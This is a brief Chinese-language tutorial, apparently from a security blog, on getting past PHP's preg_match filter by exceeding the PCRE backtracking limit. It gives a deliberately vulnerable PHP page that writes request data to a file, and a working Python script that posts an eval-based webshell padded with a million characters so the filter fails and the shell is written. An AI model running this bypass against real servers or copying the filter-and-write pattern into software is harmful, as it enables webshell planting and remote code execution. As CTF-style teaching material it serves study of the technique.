PHP利用PCRE回溯次数限制绕过preg_match
php使用的PCRE库使用NFA作为正则引擎
NFA:从起始状态开始,一个一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
<?php $data=$_REQUEST['data']; if(preg_match('/<\?.*[(`;?>].*/is', $data)){ die("hacker!!!"); } file_put_contents('pcreshell.php',$data) ?>
py脚本:
import requests from io import BytesIO files = { 'data': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) } res = requests.post('http://127.0.0.1/pcre.php', files=files, allow_redirects=False) print(res.headers)

浙公网安备 33010602011771号